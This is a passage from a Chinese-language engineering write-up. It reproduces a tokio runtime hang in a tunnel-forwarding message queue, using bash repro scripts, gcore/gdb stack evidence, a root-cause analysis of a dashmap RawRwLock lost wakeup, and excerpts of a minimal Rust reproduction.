&lt;li&gt;&lt;a href=&quot;&#x2F;tokio-runtime-hang-repro&#x2F;repro.py&quot;&gt;v1 &lt;code&gt;repro.py&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; · &lt;a href=&quot;&#x2F;tokio-runtime-hang-repro&#x2F;repro2.py&quot;&gt;v2 &lt;code&gt;repro2.py&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; · &lt;a href=&quot;&#x2F;tokio-runtime-hang-repro&#x2F;repro3.sh&quot;&gt;v3 &lt;code&gt;repro3.sh&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; · &lt;a href=&quot;&#x2F;tokio-runtime-hang-repro&#x2F;repro4.sh&quot;&gt;v4 &lt;code&gt;repro4.sh&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; · &lt;a href=&quot;&#x2F;tokio-runtime-hang-repro&#x2F;repro5.sh&quot;&gt;v5 &lt;code&gt;repro5.sh&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; · &lt;a href=&quot;&#x2F;tokio-runtime-hang-repro&#x2F;repro6.sh&quot;&gt;v6 &lt;code&gt;repro6.sh&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; · &lt;a href=&quot;&#x2F;tokio-runtime-hang-repro&#x2F;repro7.sh&quot;&gt;v7 &lt;code&gt;repro7.sh&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; · &lt;a href=&quot;&#x2F;tokio-runtime-hang-repro&#x2F;repro8.sh&quot;&gt;v8 &lt;code&gt;repro8.sh&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; · &lt;a href=&quot;&#x2F;tokio-runtime-hang-repro&#x2F;verify-fix.sh&quot;&gt;验证版 &lt;code&gt;verify-fix.sh&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; · &lt;a href=&quot;&#x2F;tokio-runtime-hang-repro&#x2F;dashmap-hang&#x2F;&quot;&gt;最小样本 &lt;code&gt;dashmap-hang&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;fu-xian-cheng-gong-7-1-shi-yan-huan-jing-zhong-die-dui-mo-shi&quot;&gt;复现成功（7.1 实验环境 + 重叠对模式）&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;huan-jing-da-jian-zhong-ban-tuo-bu-zhi-yao-mq-8080-wu-xu-caddy&quot;&gt;环境搭建（终版拓扑：只要 mq:8080，无需 caddy）&lt;&#x2F;h2&gt;
&lt;p&gt;在一台干净机器（Ubuntu&#x2F;Debian 系、免密 sudo）上搭建：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1) 上传插桩版二进制（本仓库构建产物 2.1.30-debug-hang 包中解出）
scp bin&amp;#x2F;message-queue-enhance smyl@&amp;lt;test-host&amp;gt;:&amp;#x2F;home&amp;#x2F;smyl&amp;#x2F;mq-repro&amp;#x2F;

# 2) 启动 mq（RUST_LOG=info！本二进制不设 RUST_LOG 完全静音）
ssh &amp;lt;test-host&amp;gt; &amp;#x27;RUST_LOG=info nohup &amp;#x2F;home&amp;#x2F;smyl&amp;#x2F;mq-repro&amp;#x2F;message-queue-enhance \
    --listen 8080 &amp;gt;&amp;gt; &amp;#x2F;home&amp;#x2F;smyl&amp;#x2F;mq-repro&amp;#x2F;mq.log 2&amp;gt;&amp;amp;1 &amp;amp;&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;说明：&lt;strong&gt;复现不需要 caddy&lt;&#x2F;strong&gt;（v6 否定实验 + v7&#x2F;v8 有无 caddy 均命中已证明）。早期版本按生产拓扑额外搭了 caddy:10200 → 8080（&lt;code&gt;handle &#x2F;forward&#x2F;ws&lt;&#x2F;code&gt;、&lt;code&gt;handle_path &#x2F;mq*&lt;&#x2F;code&gt; 与生产 Caddyfile 同构），那是&quot;贴近生产链路&quot;的第一版环境；终版直接连 8080 更干净。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;fu-xian-jiao-ben-v8-zhong-ban-repro8-sh-quan-wen&quot;&gt;复现脚本（v8 终版 repro8.sh 全文）&lt;&#x2F;h2&gt;
&lt;p&gt;核心设计（两个要素缺一不可）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;重叠注册&lt;&#x2F;strong&gt;：旧隧道对不杀，每轮直接叠加注册新对（8250+i &#x2F; 9250+i）——命中生产&quot;旧对存活时新对注册&quot;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;探针只打 8080 直连&lt;&#x2F;strong&gt;（无 caddy 干扰）；&lt;code&gt;trap cleanup&lt;&#x2F;code&gt; 保证残留客户端进程被清理（v7 时代就吃过&quot;残留客户端自动重放&quot;的亏——虽然那次反而提供了自动命中证据）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash
# repro8.sh (v8 终版)：重叠对注册 + 直连 8080（无 caddy 环境）
set -u
CLIENT=&amp;#x2F;home&amp;#x2F;peter&amp;#x2F;project&amp;#x2F;agent-code&amp;#x2F;wfuzz-utils&amp;#x2F;target&amp;#x2F;release&amp;#x2F;reverse-forwarder-client
SRV=192.168.7.1            # 实验机
BASE1=8250                  # agent 端口基线
BASE2=9250                  # vscode 端口基线
D=&amp;#x2F;home&amp;#x2F;peter&amp;#x2F;.tmp&amp;#x2F;opencode&amp;#x2F;mq-core&amp;#x2F;repro8
mkdir -p &amp;quot;$D&amp;quot;
LOG=$D&amp;#x2F;driver.log; MON=$D&amp;#x2F;mon.log; ALERT=$D&amp;#x2F;alert.txt
: &amp;gt; &amp;quot;$LOG&amp;quot;; : &amp;gt; &amp;quot;$MON&amp;quot;; rm -f &amp;quot;$ALERT&amp;quot;; : &amp;gt; &amp;quot;$D&amp;#x2F;pids&amp;quot;; : &amp;gt; &amp;quot;$D&amp;#x2F;ports.txt&amp;quot;
log(){ echo &amp;quot;[$(date +%H:%M:%S)] $*&amp;quot; &amp;gt;&amp;gt; &amp;quot;$LOG&amp;quot;; }

freezebegin(){               # 冻结判定：8080 直连连续 3 次非 200
  local f=0
  while true; do
    C1=$(curl -s -m 4 -o &amp;#x2F;dev&amp;#x2F;null -w &amp;quot;%{http_code}&amp;quot; http:&amp;#x2F;&amp;#x2F;$SRV:8080&amp;#x2F;mq&amp;#x2F;status 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null)
    echo &amp;quot;$(date +%H:%M:%S) probe8080=$C1&amp;quot; &amp;gt;&amp;gt; &amp;quot;$MON&amp;quot;
    if [ &amp;quot;$C1&amp;quot; = &amp;quot;200&amp;quot; ]; then f=0; else f=$((f+1)); fi
    if [ &amp;quot;$f&amp;quot; -ge 3 ]; then
      echo &amp;quot;FROZEN $(date +%H:%M:%S) direct8080=$C1&amp;quot; &amp;gt; &amp;quot;$ALERT&amp;quot;
      log &amp;quot;!!! FROZEN at $(date +%H:%M:%S)&amp;quot;
      return 1
    fi
    sleep 2
  done
}
pair(){                      # 启动新对（不杀旧对）
  &amp;quot;$CLIENT&amp;quot; --server &amp;quot;ws:&amp;#x2F;&amp;#x2F;$SRV:8080&amp;#x2F;forward&amp;#x2F;ws&amp;quot; --reverse-port &amp;quot;$1&amp;quot; --local-addr &amp;quot;127.0.0.1:1&amp;quot; &amp;gt;&amp;gt; &amp;quot;$D&amp;#x2F;cl-$3.log&amp;quot; 2&amp;gt;&amp;amp;1 &amp;amp;
  echo $! &amp;gt;&amp;gt; &amp;quot;$D&amp;#x2F;pids&amp;quot;
  &amp;quot;$CLIENT&amp;quot; --server &amp;quot;ws:&amp;#x2F;&amp;#x2F;$SRV:8080&amp;#x2F;forward&amp;#x2F;ws&amp;quot; --reverse-port &amp;quot;$2&amp;quot; --local-addr &amp;quot;127.0.0.1:1&amp;quot; &amp;gt;&amp;gt; &amp;quot;$D&amp;#x2F;cl-$3.log&amp;quot; 2&amp;gt;&amp;amp;1 &amp;amp;
  echo $! &amp;gt;&amp;gt; &amp;quot;$D&amp;#x2F;pids&amp;quot;
  echo &amp;quot;$1 $2&amp;quot; &amp;gt;&amp;gt; &amp;quot;$D&amp;#x2F;ports.txt&amp;quot;
}
cleanup(){                   # 脚本纪律：结束必清理客户端残留
  cat &amp;quot;$D&amp;#x2F;pids&amp;quot; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null | xargs -r kill 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
  pkill -f &amp;quot;reverse-forwarder-client&amp;quot; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
  : &amp;gt; &amp;quot;$D&amp;#x2F;pids&amp;quot;
}
trap cleanup EXIT

log &amp;quot;=== repro8 start ($(date +%H:%M:%S)) NO-CADDY overlap-pair mode ===&amp;quot;
freezebegin &amp;amp; MONPID=$!
i=0
while [ $i -lt 30 ]; do
  A=$((BASE1+i)); B=$((BASE2+i))
  pair &amp;quot;$A&amp;quot; &amp;quot;$B&amp;quot; &amp;quot;pair$i&amp;quot;
  sleep $((RANDOM%6+7))       # 每轮 7-12s（模仿生产双对注册节奏）
  i=$((i+1))
  [ -f &amp;quot;$ALERT&amp;quot; ] &amp;amp;&amp;amp; { log &amp;quot;abort: frozen&amp;quot;; break; }
done
log &amp;quot;=== repro8 finished ($(date +%H:%M:%S)), pairs: $i ===&amp;quot;
kill $MONPID 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
exit 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;hong-fa-guo-cheng-yu-dong-jie-qian-ming-liang-ci-zheng-shi-ming-zhong-yi-ci-zi-dong-zhong-fang&quot;&gt;触发过程与冻结签名（两次正式命中 + 一次自动重放）&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;v7-repro7-sh-jing-caddy-ceng-di-5-lun-ming-zhong-duan-kou-8254&quot;&gt;v7（repro7.sh：经 caddy 层）—— 第 ~5 轮命中，端口 8254&lt;&#x2F;h3&gt;
&lt;p&gt;触发点日志最后三行（此后全日志静默）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;14:19:43.639621  request method GET &amp;#x2F;forward&amp;#x2F;ws?remote_port=8254
14:19:43.639691  [DEBUG-a4f2] &amp;#x2F;forward&amp;#x2F;ws handler entry remote_port=8254 tunnel_id=None
14:19:43.639719  [DEBUG-a4f2] new tunnel 18cf123223537a3d: inserting 8254   ← 永无后续（无 101、无 registered）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;冻结状态（gcore + wchan）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;wchan&lt;&#x2F;code&gt; 全部 &lt;code&gt;futex_do_wait&lt;&#x2F;code&gt;（9 线程）；其中 &lt;strong&gt;2 个 worker&lt;&#x2F;strong&gt; 栈 = &lt;code&gt;dashmap::lock::RawRwLock::lock_exclusive_slow&lt;&#x2F;code&gt; → &lt;code&gt;parking_lot_core::ThreadParker::futex_wait&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;其余 worker &lt;code&gt;park_condvar&lt;&#x2F;code&gt; idle；main 线程 &lt;code&gt;block_on(serve)&lt;&#x2F;code&gt; 空闲等——&lt;strong&gt;注意：没有任何线程在运行&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;livetick 停止打印&lt;&#x2F;strong&gt;（14:19:42 后）——timer 驱动也停&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;v8-repro8-sh-che-di-wu-caddy-di-6-lun-ming-zhong-duan-kou-8253&quot;&gt;v8（repro8.sh：彻底无 caddy）—— 第 6 轮命中，端口 8253&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;环境更严格：杀掉 caddy（10200 确认关闭）、探针只打 8080、客户端只连 8080&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;依然命中&lt;&#x2F;strong&gt;（23:40:56）→ caddy 层与触发&lt;strong&gt;彻底无关&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;附带证据：v7 轮次遗留下来未清理的客户端，在重启后的 mq 上&lt;strong&gt;自动重放注册&#x2F;重连并再次触发冻结&lt;&#x2F;strong&gt;（8253 断点、caddy 已停）——侧面印证：&lt;strong&gt;只要&quot;重叠注册&quot;在跑，触发极容易&lt;&#x2F;strong&gt;（不需要任何人为干预）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;两次正式命中 + 一次自动重放，断点签名完全一致：都是&quot;&lt;code&gt;inserting &amp;lt;port&amp;gt;&lt;&#x2F;code&gt; 之后全静默&quot;；命中端口 8254&#x2F;8253（同区间、同 DashMap 分片——默认 4 分片，相邻端口 hash 落同分片）；三份 core 的 gdb 签名一致（dashmap &lt;code&gt;lock_exclusive_slow&lt;&#x2F;code&gt;）。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;kuai-su-fu-xian-shou-ce-cong-ling-dao-ming-zhong-yue-15-fen-zhong&quot;&gt;快速复现手册（从零到命中，约 15 分钟）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 0) 准备：本仓库构建产物 + 一台可跑二进制的主机（记作 &amp;lt;H&amp;gt;）
# 1) 上传并启动 mq（RUST_LOG=info 是必须的——本二进制不设 RUST_LOG 则日志完全静音）
scp bin&amp;#x2F;message-queue-enhance smyl@&amp;lt;H&amp;gt;:&amp;#x2F;home&amp;#x2F;smyl&amp;#x2F;mq-repro&amp;#x2F;
ssh smyl@&amp;lt;H&amp;gt; &amp;#x27;RUST_LOG=info nohup &amp;#x2F;home&amp;#x2F;smyl&amp;#x2F;mq-repro&amp;#x2F;message-queue-enhance \
    --listen 8080 &amp;gt;&amp;gt; &amp;#x2F;home&amp;#x2F;smyl&amp;#x2F;mq-repro&amp;#x2F;mq.log 2&amp;gt;&amp;amp;1 &amp;amp;&amp;#x27;
# 2) 验证可用
ssh smyl@&amp;lt;H&amp;gt; &amp;#x27;curl -s -m 3 -o &amp;#x2F;dev&amp;#x2F;null -w &amp;quot;%{http_code}\n&amp;quot; http:&amp;#x2F;&amp;#x2F;127.0.0.1:8080&amp;#x2F;mq&amp;#x2F;status&amp;#x27;   # → 200
# 3) 本地跑复现驱动（重叠对：旧对不杀、每轮叠加新对、7-12s&amp;#x2F;轮、最多 30 轮）
bash &amp;#x2F;tmp&amp;#x2F;repro8.sh     # 终版：冻结自动判定(3 连失败→alert.txt) + trap 清理客户端
# 4) 等待命中（观察 &amp;lt;H&amp;gt;:~&amp;#x2F;mq-repro&amp;#x2F;mq.log 尾部出现 &amp;quot;inserting xxx&amp;quot; 后全静默 + 本地 alert.txt）
# 5) 取证（冻结瞬间，立刻做，进程必须还在）：
ssh smyl@&amp;lt;H&amp;gt; &amp;#x27;MP=$(pgrep -f &amp;quot;mq-repro&amp;#x2F;message-queue-enhance&amp;quot; | head -1); \
    sudo gcore -o &amp;#x2F;home&amp;#x2F;smyl&amp;#x2F;mq-repro&amp;#x2F;frozen-core $MP&amp;#x27;
# 6) 分析（bin 与 .debug 同目录，gdb 免参数自动关联）：
ssh smyl@&amp;lt;H&amp;gt; &amp;#x27;cd &amp;#x2F;home&amp;#x2F;smyl&amp;#x2F;mq-repro &amp;amp;&amp;amp; gdb -batch -ex &amp;quot;set debuginfod enabled off&amp;quot; \
    -ex &amp;quot;thread apply all bt 12&amp;quot; .&amp;#x2F;message-queue-enhance .&amp;#x2F;frozen-core.$MP&amp;#x27;
# 期望：至少 2 个线程 bt 停在 dashmap::lock::RawRwLock::lock_exclusive_slow
# 7) 复制取证脚本；重启 mq 再刷命中率：重复 2-6
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;要点提醒：命中概率≈ 每轮两端口同分片(≈1&#x2F;4) × 并发的时序窗口——30 轮一般会命中（我们是第 5&#x2F;6 轮命中）；不要用单一轮次判断&quot;没复现&quot;；多轮循环 + alert 自动判定是必须的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;qu-zheng-xi-jie-di-yi-ci-shi-zhan-quan-zhan-hui-su&quot;&gt;取证细节（第一次实战全栈回溯）&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sudo gcore -o ... &amp;lt;pid&amp;gt;&lt;&#x2F;code&gt;：把冻结态全线程内存+寄存器+映射固化为 ELF core（前提：&lt;code&gt;&#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;status&lt;&#x2F;code&gt; 的 &lt;code&gt;TracerPid=0&lt;&#x2F;code&gt;——一个进程只能有一个 tracer，排查时自己的 strace 残留都会卡住它）&lt;&#x2F;li&gt;
&lt;li&gt;用同目录 &lt;code&gt;.debug&lt;&#x2F;code&gt; + &lt;code&gt;gdb &amp;lt;bin&amp;gt; &amp;lt;core&amp;gt;&lt;&#x2F;code&gt;：&lt;code&gt;.gnu_debuglink&lt;&#x2F;code&gt; 机制让 gdb 自动加载 DWARF → &lt;code&gt;thread apply all bt&lt;&#x2F;code&gt; &lt;strong&gt;一次出全栈+行号&lt;&#x2F;strong&gt;（对比无 DWARF 时代手工解栈——&lt;code&gt;syscall()&lt;&#x2F;code&gt; 裸汇编无 CFI 时 bt 断 frame0）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;gen-yin-suo-ding-dwarf-quan-zhan-yuan-ma-shuang-zheng&quot;&gt;根因锁定（DWARF 全栈 + 源码双证）&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;dashmap 6.2.1 自研 RawRwLock 的多 writer 丢失唤醒&lt;&#x2F;strong&gt;（&lt;code&gt;dashmap&#x2F;src&#x2F;lock.rs&lt;&#x2F;code&gt; 手写状态机：&lt;code&gt;WRITERS_PARKED&#x2F;READERS_PARKED&#x2F;ONE_WRITER&lt;&#x2F;code&gt;；&lt;code&gt;unlock_exclusive_slow&lt;&#x2F;code&gt; 在&quot;读写者同时 parked&quot;中间态 + 新读者&#x2F;写者并发 CAS 的窗口下，&lt;code&gt;parking_lot_core::park&#x2F;unpark&lt;&#x2F;code&gt; 协议可丢失唤醒）——&lt;strong&gt;不是用错版本，是这个版本该锁在重度并发下的真实弱点&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;我们代码独立红线&lt;&#x2F;strong&gt;：&lt;code&gt;status.rs::collect_tunnel_rows&lt;&#x2F;code&gt; 的 DashMap &lt;code&gt;Ref&lt;&#x2F;code&gt; guard 跨 &lt;code&gt;.await&lt;&#x2F;code&gt;（&lt;code&gt;let t = registry.get(...); t.state.read().await&lt;&#x2F;code&gt; 期间 &lt;code&gt;t&lt;&#x2F;code&gt; 未 drop——dashmap 文档明令禁止），读锁跨 await 与并发 insert 的写者交织会大幅放大上面的死锁窗口&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;lian-suo-fan-ying-wei-shen-me-liang-ge-worker-si-suo-quan-runtime-gua&quot;&gt;连锁反应：为什么两个 worker 死锁 = 全 runtime 挂&lt;&#x2F;h2&gt;
&lt;p&gt;（见文末 QA——这是排查期间最容易绕晕的部分。）&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zui-xiao-du-li-fu-xian-yang-ben-dashmap-hang-dui-qi-sheng-chan-zhen-shi-suo-xu&quot;&gt;最小独立复现样本（dashmap-hang：对齐生产真实锁序）&lt;&#x2F;h1&gt;
&lt;p&gt;重写本节之前先说清迭代史：&lt;strong&gt;第一版&quot;纯 DashMap 泛化压测&quot;（std 线程 + 任意读写风暴）8 组 × 60-120s 全部未冻结&lt;&#x2F;strong&gt;，一度得出&quot;库层窗口概率太小钓不到&quot;的结论。后来回到修复前源码把每个锁序细节核对一遍，发现&lt;strong&gt;那版压测缺了生产的三个结构事实&lt;&#x2F;strong&gt;（见下），补齐后&lt;strong&gt;同一台 22 核本机、最小样本 3&#x2F;3 命中&lt;&#x2F;strong&gt;——每次都捕获与 v7&#x2F;v8 gcore 完全一致的签名：&lt;strong&gt;2 个 tokio worker 永久 park 在 &lt;code&gt;dashmap::lock::RawRwLock::lock_exclusive_slow&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xian-dui-qi-xiu-fu-qian-de-zhen-shi-suo-xu-san-ge-que-yi-bu-ke-de-jie-gou-shi-shi&quot;&gt;先对齐：修复前的真实锁序（三个缺一不可的结构事实）&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;① 会话期永久持有 Ref            ws_handler::handle_new 的 let t = registry.get(&amp;amp;p)
                                （Ref=分片读锁）在 session::handle_session(&amp;amp;t, ...)
                                整个隧道会话存活期内被跨 await 持有 —— 直到会话结束，
                                不会像状态页读那样 100µs 就释放。
② 同分片双写者并发 insert       B 对（agent + vscode 两条隧道）同毫秒注册同一分片成对端口；
                                每个写者先 get(p)（读）再 insert(p)（写）。
③ 状态页 iter + get 锁序        collect_tunnel_rows 原样：registry.iter()（分片读锁遍历）
                                后逐个 *registry.get(&amp;amp;p).unwrap().state.read().await
                                —— 临时 Ref 跨 await 存活（原表达式如此）。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;另一个事实修正（对前文&quot;默认 4 分片&quot;的补充）&lt;&#x2F;strong&gt;：&lt;code&gt;DashMap::new()&lt;&#x2F;code&gt; 默认分片数是
&lt;code&gt;(可用核数×4).next_power_of_two()&lt;&#x2F;code&gt;（dashmap 6.2.1 &lt;code&gt;lib.rs::default_shard_amount&lt;&#x2F;code&gt;）——
本机 22 核 = &lt;strong&gt;128 分片&lt;&#x2F;strong&gt;；只有 1 核环境才是 4。7.1 复现机实测命中≈1&#x2F;4 与 4 分片吻合。
复现样本里显式 &lt;code&gt;with_shard_amount(4)&lt;&#x2F;code&gt; 把同分片概率顶到 100%。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yang-ben-jie-gou-dashmap-hang-xiang-mu-4-ge-mo-kuai&quot;&gt;样本结构（dashmap-hang 项目，4 个模块）&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;源码下载：&lt;a href=&quot;&#x2F;tokio-runtime-hang-repro&#x2F;dashmap-hang&#x2F;&quot;&gt;&lt;code&gt;dashmap-hang&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;（含 wchan&#x2F;gdb 取证与 exit 42 判定，可直接入 CI）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;dashmap-hang&amp;#x2F;
├── Cargo.toml
└── src&amp;#x2F;
    ├── main.rs       # 入口：启动 server → client → watchdog
    ├── server.rs     # server：Registry + Tunnel + 状态页 + session 任务
    ├── client.rs     # client：A 对存活 + B 对并发注册
    └── watchdog.rs   # watchdog：进度监控 + wchan&amp;#x2F;gdb 取证 + exit 42
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;每个模块严格对应生产中的一个组件：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;模块&lt;&#x2F;th&gt;&lt;th&gt;生产对应&lt;&#x2F;th&gt;&lt;th&gt;锁序&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;server::spawn_session&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session::handle_session(&amp;amp;t, ...)&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Ref 在整个会话期持有（跨 await，永不释放）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;server::spawn_status_page&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;status::collect_tunnel_rows&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;iter() + get(&amp;amp;p).state.read().await（临时 Ref 跨 await）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;client::spawn_registration_burst&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ws_handler::handler_with_state&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;两个并发任务 get → drop → insert（Barrier 同时性）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;watchdog::run&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;排查过程的 wchan&#x2F;gcore&#x2F;gdb&lt;&#x2F;td&gt;&lt;td&gt;进度监控 + wchan 分布 + gdb 全栈 + exit 42&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;guan-jian-dai-ma-pian-duan&quot;&gt;关键代码片段&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;server-rs-a-dui-hui-hua-ref-kua-zheng-ge-hui-hua-qi-chi-you&quot;&gt;server.rs — A 对会话（Ref 跨整个会话期持有）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F;&amp;#x2F; A 对会话任务: handle_session(&amp;amp;t, ...) 原样锁序
&amp;#x2F;&amp;#x2F;&amp;#x2F;   registry.get(&amp;amp;port) (Ref = 分片读锁) 在整个会话期持有 (跨 await，永不释放)
&amp;#x2F;&amp;#x2F;&amp;#x2F;   期间偶发 state.write().await (teardown 路径: shard-读 跨 inner-写)
pub fn spawn_session(state: &amp;amp;AppState, port: u16, tunnel_id: &amp;amp;str) {
    let s = state.registry.clone();
    let stop = state.stop.clone();
    let ep = state.epoch_inner.clone();
    let tid = tunnel_id.to_string();
    tokio::spawn(async move {
        &amp;#x2F;&amp;#x2F; 注册隧道
        s.insert(port, Arc::new(Tunnel {
            state: tokio::sync::RwLock::new(TunnelState::Active),
            tunnel_id: tid,
        }));
        &amp;#x2F;&amp;#x2F; handle_new: let t = registry.get(&amp;amp;port)
        let Some(t) = s.get(&amp;amp;port) else { return };
        &amp;#x2F;&amp;#x2F; handle_session(&amp;amp;t, ...): t (Ref) 持有至会话结束 — 永不 drop
        while !stop.load(Ordering::Relaxed) {
            &amp;#x2F;&amp;#x2F; session.rs:87: *tunnel.state.write().await = Disconnected
            &amp;#x2F;&amp;#x2F; (teardown 路径: shard-读锁仍持有，跨 inner-写锁 await)
            {
                let mut st = t.state.write().await;
                *st = if *st == TunnelState::Active {
                    TunnelState::Disconnected
                } else {
                    TunnelState::Active
                };
            }
            ep.fetch_add(1, Ordering::Relaxed);
            tokio::time::sleep(Duration::from_millis(2 + (port as u64) % 5)).await;
        }
    });
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;client-rs-b-dui-bing-fa-zhu-ce-barrier-tong-shi-xing&quot;&gt;client.rs — B 对并发注册（Barrier 同时性）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F;&amp;#x2F; B 对注册: 每轮两个并发任务 get → drop → insert (ws_handler 原样)
&amp;#x2F;&amp;#x2F;&amp;#x2F;   Barrier 保证两个写者同时开始 (模拟生产&amp;quot;两个 WS 连接同毫秒到达&amp;quot;)
pub fn spawn_registration_burst(
    registry: Arc&amp;lt;DashMap&amp;lt;u16, Arc&amp;lt;Tunnel&amp;gt;&amp;gt;&amp;gt;,
    ports: Vec&amp;lt;u16&amp;gt;,
    rounds: u64,
    stop: Arc&amp;lt;AtomicBool&amp;gt;,
    epoch_writer: Arc&amp;lt;AtomicU64&amp;gt;,
) {
    tokio::spawn(async move {
        for round_n in 0..rounds {
            let p1 = ports[(round_n as usize + 2) % ports.len()];
            let p2 = ports[(round_n as usize + 3) % ports.len()];
            let barrier = Arc::new(tokio::sync::Barrier::new(2));

            &amp;#x2F;&amp;#x2F; 两个写者任务同时开始 (模拟 agent + vscode 两条隧道同毫秒注册)
            let w1 = tokio::spawn({
                let (s, ep, b) = (registry.clone(), epoch_writer.clone(), barrier.clone());
                async move {
                    b.wait().await;
                    let _e = s.get(&amp;amp;p1);
                    drop(_e);
                    s.insert(p1, Arc::new(Tunnel { &amp;#x2F;* ... *&amp;#x2F; }));
                    ep.fetch_add(1, Ordering::Relaxed);
                }
            });
            let w2 = tokio::spawn({ &amp;#x2F;* 同上 *&amp;#x2F; });
            let _ = (w1.await, w2.await);
            tokio::time::sleep(Duration::from_millis(rand_ms())).await; &amp;#x2F;&amp;#x2F; 7-12s
        }
    });
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
